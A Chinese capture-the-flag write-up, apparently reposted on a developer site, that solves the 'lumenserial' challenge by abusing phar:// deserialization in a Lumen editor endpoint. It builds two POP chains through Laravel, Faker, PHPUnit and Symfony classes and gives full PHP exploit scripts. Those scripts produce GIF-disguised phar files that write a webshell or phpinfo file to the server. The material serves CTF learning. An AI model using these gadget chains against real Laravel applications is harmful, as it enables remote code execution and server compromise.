code-breaking lumenserial

栏目: PHP · 发布时间: 5年前

内容简介:在安全客看到了两篇文章查看路由

在安全客看到了两篇文章 PHP反序列化入门之寻找POP链(一)PHP反序列化入门之寻找POP链(二) ,之前没有来得及仔细看p牛出的这道lumenserial,所以这里跟着文章的思路审一下。

任意反序列化

查看路由

/routers/web.php

<?php
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\File\File;

$router->get('/', function (Request $request) use ($router) {
    return view('index');
});

$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

跟进 EditorController ,download方法中 $url 未经过过滤直接传入 file_get_contents ,查看 $url 来源,如果我们可控,则我们可以利用phar://来任意反序列化。

private function download($url)
    {
        $maxSize = $this->config['catcherMaxSize'];
        $limitExtension = array_map(function ($ext) {
            return ltrim($ext, '.');
        }, $this->config['catcherAllowFiles']);
        $allowTypes = array_map(function ($ext) {
            return "image/{$ext}";
        }, $limitExtension);

        $content = file_get_contents($url);
        $img = getimagesizefromstring($content);

查看 $url 如何传入

function __construct()
    {
        $config_filename = app()->basePath('resources/editor/config.json');
        $this->config = json_decode(preg_replace("/\/\*[\s\S]+?\*\//", "", file_get_contents($config_filename)), true);
    }
    protected function doCatchimage(Request $request)
    {
        $sources = $request->input($this->config['catcherFieldName']);
        $rets = [];

        if ($sources) {
            foreach ($sources as $url) {
                $rets[] = $this->download($url);
            }
        }

        return response()->json([
            'state' => 'SUCCESS',
            'list' => $rets
        ]);
    }

$url$sources 获得, $sources 我们可控,查看 $this->config['catcherFieldName']

code-breaking lumenserial

因此只要请求一个 source 参数即可控制 $url ,接下来就是寻找popchain。

由于这里环境为 php 7.2.12,且 disable_function 过滤了各种危险函数。因此我们需要找到其他利用点,例如 call_user_func_array('file_put_contents',array('smi1e.php','123'))

POP Chain 1

首先要寻找寻找 __wakeup 或者 __destruct 。在phpggc 里面所有的Laravel/RCE 都是利用的 \Illuminate\Broadcasting\PendingBroadcast::__destruct()

<?php

namespace Illuminate\Broadcasting;

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
    protected $events;
    protected $event;

    public function __construct(Dispatcher $events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }

    public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
}

$event$event 可控,因此要么我们控制 $this->events 触发 __call 方法,要么寻找带有 dispatch 方法的类。

发现 /vender/fzaninotto/faker/src/Faker/ValidGenerator.php 中的 __call 方法比较好用。

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;

    public function __construct(Generator $generator, $validator = null, $maxRetries = 10000)
    {
        if (is_null($validator)) {
            $validator = function () {
                return true;
            };
        } elseif (!is_callable($validator)) {
            throw new \InvalidArgumentException('valid() only accepts callables as first argument');
        }
        $this->generator = $generator;
        $this->validator = $validator;
        $this->maxRetries = $maxRetries;
    }
    public function __call($name, $arguments)
    {
        $i = 0;
        do {
            $res = call_user_func_array(array($this->generator, $name), $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));

        return $res;
    }
}

可以看到 call_user_func_array 的结果传入了 call_user_func ,而 $this->validator 我们可控,因此只要我们可以控制 call_user_func_array 的返回结果,则可以执行任意类的方法。

接下来就是找一个可以控制返回结果的类

/vender/fzaninotto/faker/src/Faker/DefaultGenerator.php

<?php

namespace Faker;
class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
    }

    public function __get($attribute)
    {
        return $this->default;
    }

    public function __call($method, $attributes)
    {
        return $this->default;
    }
}

现在 call_user_func($this->validator, $res) 两个参数都可控,但是执行 file_put_contents 需要两个参数,因此我们需要再找到一个类中有 call_user_func_array 函数,且参数可控的方法。

/phpunit/phpunit/src/MockObject/Stub/ReturnCallback.php

namespace PHPUnit\Framework\MockObject\Stub;

use PHPUnit\Framework\MockObject\Invocation;
use PHPUnit\Framework\MockObject\Stub;

class ReturnCallback implements Stub
{
    private $callback;

    public function __construct($callback)
    {
        $this->callback = $callback;
    }

    public function invoke(Invocation $invocation)
    {
        return \call_user_func_array($this->callback, $invocation->getParameters());
    }
.....
}

Invocation是一个接口,查找其实现的代码。

/phpunit/phpunit/src/MockObject/Invocation/Invocation.php

<?php
namespace PHPUnit\Framework\MockObject;

/**
 * Interface for invocations.
 */
interface Invocation
{
    /**
     * @return mixed mocked return value
     */
    public function generateReturnValue();

    public function getClassName(): string;

    public function getMethodName(): string;

    public function getParameters(): array;

    public function getReturnType(): string;

    public function isReturnTypeNullable(): bool;
}

/phpunit/phpunit/src/MockObject/Invocation/StaticInvocation.php

class StaticInvocation implements Invocation, SelfDescribing
{
    public function __construct($className, $methodName, array $parameters, $returnType, $cloneObjects = false)
    {
        $this->className  = $className;
        $this->methodName = $methodName;
        $this->parameters = $parameters;
    .....
    }
    public function getParameters(): array
    {
        return $this->parameters;
    }

$invocation->getParameters() 的返回值可控。因此我们可以完全控制 call_user_func_array($this->callback, $invocation->getParameters()) 中的参数。

exp

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
    protected $events;
    protected $event;
    public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
}
};

namespace Faker{
class DefaultGenerator
{
    protected $default;
    public function __construct($default = null)
    {
        $this->default = $default;
    }
}

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    public function __construct($generator, $validator = null, $maxRetries = 10000)
    {
        $this->generator = $generator;
        $this->validator = $validator;
        $this->maxRetries = $maxRetries;
    }
}
};

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback
{
    private $callback;
    public function __construct($callback)
    {
        $this->callback = $callback;
    }
}
};

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation
{
    private $parameters;
    public function __construct($parameters)
    {
        $this->parameters = $parameters;
    }
}
};

namespace{
    $function='file_put_contents';
    $parameters=array('/var/www/html/smi1e.php','<?php $_POST[\'1\'];?>');
    $invocation=new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
    $return=new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
    $default=new Faker\DefaultGenerator($invocation);
    $valid=new Faker\ValidGenerator($default,array($return,'invoke'),100);
    $obj=new Illuminate\Broadcasting\PendingBroadcast($valid,1);
    $o = $obj;
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
};

?>
code-breaking lumenserial

ps:这里 /var/www/html 目录无写权限,需要写到upload目录下。懒得改payload了,我进容器改了下权限,2333。

code-breaking lumenserial

POP Chain 2

这个链的核心是 /vender/fzaninotto/faker/src/Faker/Generator.php

class Generator
{
    protected $providers = array();
    protected $formatters = array();

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

}

call_user_func_array 可以看到 call_user_func_array 的两个参数完全可控,因此我们只要找到方法中存在形如 this->$object->$method($arg1,$arg2) 且4个参数均可控的地方,就可以利用这个 Generator 类的 __call 方法,最终执行 call_user_func_array('file_put_contents',array('1.php','123'))

/vendor/symfony/event-dispatcher/Debug/TracebleEventDispatcher.php 中的 dispatch 方法

class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
    public function dispatch($eventName, Event $event = null)
    {
        if (null === $event) {
            $event = new Event();
        }

        if (null !== $this->logger && $event->isPropagationStopped()) {
            $this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
        }

        $this->preProcess($eventName);
......
    }

跟进preProcess方法

code-breaking lumenserial

可以看到这里有我们想要的 this->$object->$method($arg1,$arg2) ,且前三个参数都可控,第四个参数我们也可以想办法控制,但是跟进前面的 $this->getListenerPriority 会发现该方法也有我们想要的东西,这样就更好了。

code-breaking lumenserial

但前提是我们要绕过这个if条件,我们需要让 $this->dispatcher->hasListeners($eventName) 返回为True。

if (!$this->dispatcher->hasListeners($eventName)) {
            $this->orphanedEvents[] = $eventName;

            return;
        }

我们可以继续利用开头说到的这个POP链的核心类 /vender/fzaninotto/faker/src/Faker/Generator.php ,另 $formatters['hasListeners'] 等于一个能够把 $eventName 做为参数且返回True的函数即可,而 $eventName 其实是需要写的文件路径。因此用strlen函数即可。

继续跟进foreach条件,我们需要控制 $this->dispatcher->getListeners($eventName) 的返回结果进而才能控制 $listener ,搜索可利用的 getListeners 方法。

/vender/illuminate/events/Dispatcher.php

class Dispatcher implements DispatcherContract
{
    protected $listeners = [];

    public function getListeners($eventName)
    {
        $listeners = $this->listeners[$eventName] ?? [];

        $listeners = array_merge(
            $listeners,
            $this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
        );

        return class_exists($eventName, false)
                    ? $this->addInterfaceListeners($eventName, $listeners)
                    : $listeners;
    }
}

可以发现 $listeners 很容易被控制,从而我们可以控制返回结果。现在我们可以控制 $this->dispatcher->getListenerPriority($eventName, $listener) 所有参数,然后再次利用开头所说的核心类 /vender/fzaninotto/faker/src/Faker/Generator.php 执行 call_user_func_array($this->getFormatter($formatter), $arguments); ,参数完全可控,从而执行 call_user_func_array('file_put_contents',array('1.php','123'))

exp

<?php
namespace Illuminate\Events{
    class Dispatcher
    {
        protected $listeners = [];
        protected $wildcardsCache = [];

        public function __construct($parameter){
            $this->listeners[$parameter['filename']] = array($parameter['contents']);
        }
    }

};

namespace Faker{
    class Generator
    {
        protected $providers = array();
        protected $formatters = array();

        public function __construct($providers,$formatters){
            $this->formatters = $formatters;
            $this->providers = $providers;
        }
    }

};

namespace Symfony\Component\EventDispatcher\Debug{
    class TraceableEventDispatcher{
        private $dispatcher;

        public function __construct($dispatcher){
            $this->dispatcher = $dispatcher;
        }
    }
};

namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($events, $parameter){
        $this->events = $events;
        $this->event = $parameter['filename'];
    }
    }
};

namespace{
    $function='file_put_contents';
    $paramters=array('filename'=>'/var/www/html/upload/1.php','contents'=>'<? phpinfo();?>');

    $dispatcher = new Illuminate\Events\Dispatcher($paramters);
    $generator = new Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
    $trace = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);
    $obj =new Illuminate\Broadcasting\PendingBroadcast($trace,$paramters);
    $o = $obj;

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
};

?>

这次我直接写进了upload目录,没有更改容器权限。

code-breaking lumenserial

以上所述就是小编给大家介绍的《code-breaking lumenserial》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

HTML5移动Web开发指南

HTML5移动Web开发指南

唐俊开 / 电子工业出版社 / 2012-3-1 / 59.00元

HTML5移动Web开发指南,ISBN:9787121160837,作者:唐俊开 著一起来看看 《HTML5移动Web开发指南》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

URL 编码/解码
URL 编码/解码

URL 编码/解码

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试